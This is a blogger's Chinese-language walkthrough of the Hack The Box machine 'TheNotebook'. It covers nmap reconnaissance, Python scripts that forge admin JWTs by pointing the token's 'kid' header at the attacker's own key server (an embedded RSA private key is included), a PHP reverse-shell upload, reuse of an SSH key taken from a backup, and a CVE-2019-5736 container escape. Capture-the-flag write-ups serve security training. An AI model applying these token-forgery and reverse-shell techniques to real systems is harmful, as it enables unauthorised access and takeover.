hackthebox TheNotebook

前言

只拿到了user,提权没成功——有wp说是CVE-2019-5736,我没打成。
更新:提权exp执行成功后,要用另一个Noah的ssh连接在执行一次sudo docker exec -it xxx /bin/bash以触发反弹(exp中的payload已换成反弹shell了)

打点

nmap-sV -v -A 10.10.10.230

端口扫描结果:

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

注册接口发现admin用户已存在,爆破一手密码试试,无果。
使用test test成功登录,但只有一个添加笔记的功能,没什么思路

又测试注册和登录接口是否存在sql注入,无果。
尝试之前某题的思路在admin后加上超多空格,试图超出截断以覆盖已有admin账号也失败了。
但是base64解码admin空空空空空账号的登录cookie后发现这是个jwt,思路转向jwt伪造。

下面是已经存在账号test的token

{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}.{"username":"test","email":"test@test.htb","admin_cap":falsefQ.˜MtÇ[8’⺞Z*ï>IÙÈ@3▫•»6TC5-ˆŒ1̲•³Ivh-»fr^•wqÜNfèM ÐÉ¥Á̲eîÚ0ha-O:K‘HrˆÀßdàÍÏYZóP;C§««U2_žÇqˆK÷hJ9è—âQ7êmÛMíˆet¡ÜV†…>|_n›Ô…·W5	Š
e¥1¢yÒ¸G†}áÊQ

nmap扫描7070端口发现未开放,因此猜测把url改到我们自己服务器上来控制key,再修改admin_cap值为True来达到越权至admin的效果。

生成token脚本如下,因为rs256加密,这key不能乱写,先改成HS256试试。

privKey.key放的就是test1234

import jwt
import base64


key = b'test1234'
head = {
    "typ": "JWT", 
    "alg": "HS256",
    "kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
    "username":"test",
    "email":"test@test.htb",
    "admin_cap":True
}
# head_str = json.dumps(head)
# payload_str = json.dumps(payload)
# pattern = head_str + '.' + payload_str
# secret = base64.b64encode(pattern.encode())
#jwt_token = base64.b64encode(head_str.encode()) + b'.' + base64.b64encode(payload_str.encode()) + b'.' + secret
jwt_token = jwt.encode(payload,key,"HS256",head)
print(jwt_token)

确实有访问记录,但是没有成功。
把加密方式改回RS256试试
先生成一个私钥

import jwt


key = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDUCGTLntMGEocLy6Ww/W/luPdLAaou2XMUQT7E91BuFTndKfOq
adJta5XoRFLeExTRK1+tYJjj2fWjFUUFf22puEutBP8rxI9B9bfiwcRKvWqqh71U
j0q8cDpnrPw6jS+7kOGxG2fPFqHVYUP1u+7ZN71EwzwNcAdAqM0ZjvtADwIDAQAB
AoGBAMQDxnrfJyKT+jiTWWfXw5xRdHvo3BVXfSWac5bPM5GxGb81y0cdcSUqsnj4
wMsARNxiBp9Xj8AEfSr4vMgqV4tArBfyNuJEjLtWCO37L8qXC3jtUsImgRZQqW+3
lIzPNHgddfdmlFrorTZx8ZssWX7kAXl020WiTHptbiNmmRehAkEA/hDKeP/Y4/0P
I0jdWxnXpSHXXiPPGZ4N8phSQMuCnsWpa7Zf8bzDJyeOtbCUEpGhu2EB46Ol6l4c
I7W7Ecjs5wJBANWlrNC9t9mJKkQ9S+n71OryGC1CnZTT0FQssSqgvZgo/FepkXzo
10yuVAaqqKGt9XhjEP7TjtH0O745iDudxpkCQC0l0rUZ0fMBvzTn993+g6Gml9z0
xBKrUZMwmj1FbNrGCUtIx1fv0UYd83A6BrYeBv2DSZCoPg2d16ZI3wtUBzUCQFDr
8rwRz+wmZwr3yKQ0jZ372qpx++veGp93WheSUJ2skH/Hq2KLctkJgqwPwdWTZVGW
/F341bSydFqFwhMKnKkCPxdfD2OW1BDtHOh7xT0dn4fuZNKojzTrmej2ypu4DM8h
GMln3Xc5vNL18351Q8TfLTeYCeTGrAXZeuRvcUODSQ==
-----END RSA PRIVATE KEY-----
"""
head = {
    "typ": "JWT", 
    "alg": "RS256",
    "kid": "http://10.10.15.0:8000/privKey.key"
}
payload = {
    "username":"test",
    "email":"test@test.htb",
    "admin_cap":True
}

jwt_token = jwt.encode(payload,key,"RS256",head)
print(jwt_token)

用cookie quick manager替换掉test的cookie成功获取管理员权限

发现上传

它隔一段时间上传的马就会被删,蚁剑就不太好操作了,重新上传一个反弹shell的马/usr/share/webshells/php/php-reverse-shell.php
在/home/noah下发现了user.txt,还有一个main文件不知道是干嘛的(从strings命令的内容来看像是go写的,跑一下就一个报错),下一步就是要切到该用户读文件了。
在/var下发现备份文件

下面几个涉及到账号的只有home.tar.gz可读,下载下来看看

发现存在Noah的ssh私钥,直接登录.获取user flag

提权

sudo -l 发现有无需密码命令

看样子是要容器逃逸了。但我不清楚这要怎么判断是什么洞,试了下别的wp写的CVE-2019-5736,没打成,溜了

posted @ 2021-06-27 18:04  wuerror  阅读(126)  评论(0编辑  收藏  举报